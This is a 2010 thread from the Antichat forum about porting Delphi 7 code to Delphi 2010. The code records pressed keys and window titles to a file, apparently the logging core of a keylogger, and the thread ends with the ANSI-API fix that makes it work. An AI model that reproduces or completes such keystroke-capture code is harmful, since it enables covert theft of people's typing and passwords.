ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

От Delphi 7 к Delphi 2010
  #1  
Старый 15.03.2010, 01:59
Alexsis f
Новичок
Регистрация: 11.02.2009
Сообщений: 15
Провел на форуме:
23122

Репутация: 0
По умолчанию От Delphi 7 к Delphi 2010

Вот блок моего исходника, написанного когда-то на Delphi 7. Программа посредствам GetKeyNameText помещает значение нажатой клавиши в переменную Buffer. В связке Delphi 7 и Win XP все работает отлично. Под Win 7 в среде D2010 возникли проблемы - данные в файл возвращаются в неправильной кодировке. Из мануала узнал, что D2010 типы Char и PChar, которые ранее соответствовали AnsiChar и PAnsiChar, соответственно стали WideChar и PWideChar. Как следствие, все заголовочные файлы для работы с WinAPI изменены под юникод. Пытался Char и PChar заменить на AnsiChar и PAnsiChar - не вышло. GetKeyNameText и BlockWrite не хотят работать с AnsiChar. Подскажите, как исходник зделать совместимым с Win 7 и рабочим в D2010. Спасибо.

var
Buffer: array[0..1000] of char;
SzKeyName: array[0..100] of char;

//StrLen, StrCopy,StrEnd взяты из D7 (в D2010 они другие)

function StrLen(const Str: PChar): Cardinal; assembler;
asm
mov edx, edi
mov edi, eax
mov ecx, 0FFFFFFFFh
xor al, al
repne scasb
mov eax, 0FFFFFFFEh
sub eax, ecx
mov edi, edx
end;

function StrCopy(Dest: PChar; const Source: PChar): PChar; assembler;
asm
push edi
push esi
mov esi, eax
mov edi, edx
mov ecx, 0FFFFFFFFh
xor al, al
repne scasb
not ecx
mov edi, esi
mov esi, edx
mov edx, ecx
mov eax, edi
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
pop esi
pop edi
end;

function StrEnd(const Str: PChar): PChar; assembler;
asm
mov edx, edi
mov edi, eax
mov ecx, 0FFFFFFFFh
xor al, al
repne scasb
lea eax, [edi-1]
mov edi, edx
end;

function StrCat(Dest: PChar; const Source: PChar): PChar;
begin
StrCopy(StrEnd(Dest), Source);
Result := Dest;
end;

procedure EmptyBuffer;//Крпирование буфера в файл
var
F: File;
begin
GenerateFileName;
AssignFile(F, FileName);
if FileExists(FileName) then
begin
Reset(F, 1);
Seek(F, FileSize(F));
end
else
Rewrite(F, 1);
BlockWrite(F, Buffer, StrLen(Buffer));
CloseFile(F);
FillChar(Buffer, SizeOf(Buffer), chr(0));
end;

procedure SaveData(D: PChar);//Заполнение буфера
begin
StrCat(Buffer, D)
end;

//Функция заполнения "SzKeyName"
GetKeyNameText(lParam, SzKeyName, SizeOf(SzKeyName));
SaveData(SzKeyName);
 
Ответить с цитированием

  #2  
Старый 15.03.2010, 02:23
maestro-ant
Новичок
Регистрация: 08.01.2007
Сообщений: 25
Провел на форуме:
25858

Репутация: 5
По умолчанию

А почему такая необходимость юзать 2010 (если не секрет)?
Если у тебя уже готовый код, который работал на D7, то зачем его компилить в другой среде?
 
Ответить с цитированием

  #3  
Старый 15.03.2010, 06:26
fenixelite
Участник форума
Регистрация: 07.02.2010
Сообщений: 189
Провел на форуме:
870084

Репутация: 79
Отправить сообщение для fenixelite с помощью ICQ
По умолчанию

2010 и 2009 сырые еще, особенно в вин7 это сильно проявляется. Лучше оставить в д7...
 
Ответить с цитированием

  #4  
Старый 15.03.2010, 11:10
Alexsis f
Новичок
Регистрация: 11.02.2009
Сообщений: 15
Провел на форуме:
23122

Репутация: 0
По умолчанию

Я бы с удовольствием оставил как есть, но прога не корректно работает в Win 7. Видимо разработчики не зря в D2010 и в D2009 изменили типы char - значит этого потребовали изменения в самой ОС. Сами понимаете, Win XP - это вчерашний день, да и D7 тоже. Поэтому и прошу совета ))
 
Ответить с цитированием

  #5  
Старый 15.03.2010, 12:56
Gar|k
Постоянный
Регистрация: 20.03.2009
Сообщений: 564
Провел на форуме:
991929

Репутация: 395


По умолчанию

Alexsis f начиная с 2000 винды все WinAPI функции в unicode.
Цитата:
Если какой-то функции Windows передается ANSI-строка, она сначала преобразуется в Unicode и лишь потом передается операционной системе.
Если тебе не нравится формат выходного файла... после получения результата и записи его в файл. открой его преобразуй в ANSI и сохрани
 
Ответить с цитированием

  #6  
Старый 15.03.2010, 13:21
Alexsis f
Новичок
Регистрация: 11.02.2009
Сообщений: 15
Провел на форуме:
23122

Репутация: 0
По умолчанию

Здесь в большей мере проблема не в том, в каком формате получить выходной файл, а в том, что большую часть текста не возможно прочесть ни в одной кодировке, а часть - можно. Вот я и думаю, что проблема в самом коде. к примеру при использовании
GetWindowText(CWnd, SzKeyName, SizeOf(SzKeyName))
выходной текст вообще не читабелен ни в какой кодировке.
 
Ответить с цитированием

  #7  
Старый 15.03.2010, 14:54
Alexsis f
Новичок
Регистрация: 11.02.2009
Сообщений: 15
Провел на форуме:
23122

Репутация: 0
По умолчанию

Всем огромное спасибо за советы. Изменил все заданные переменные Char на AnsiChar, сделал теже изменения в параметрах функций, заменил GetKeyNameText и GetWindowText на GetKeyNameTextA и GetWindowTextA соответственно. И все заработало!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Доход от приложений. Какой? UNToxa Социальные сети 9 24.02.2010 23:33
Microsoft опубликовала цены на Office 2010 [Life] Мировые новости 34 23.01.2010 00:29
Books PSalm69 Избранное 248 27.10.2009 04:52
Microsoft выпустит бесплатную версию Office 2010 jerrri Мировые новости 1 09.10.2009 15:13



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ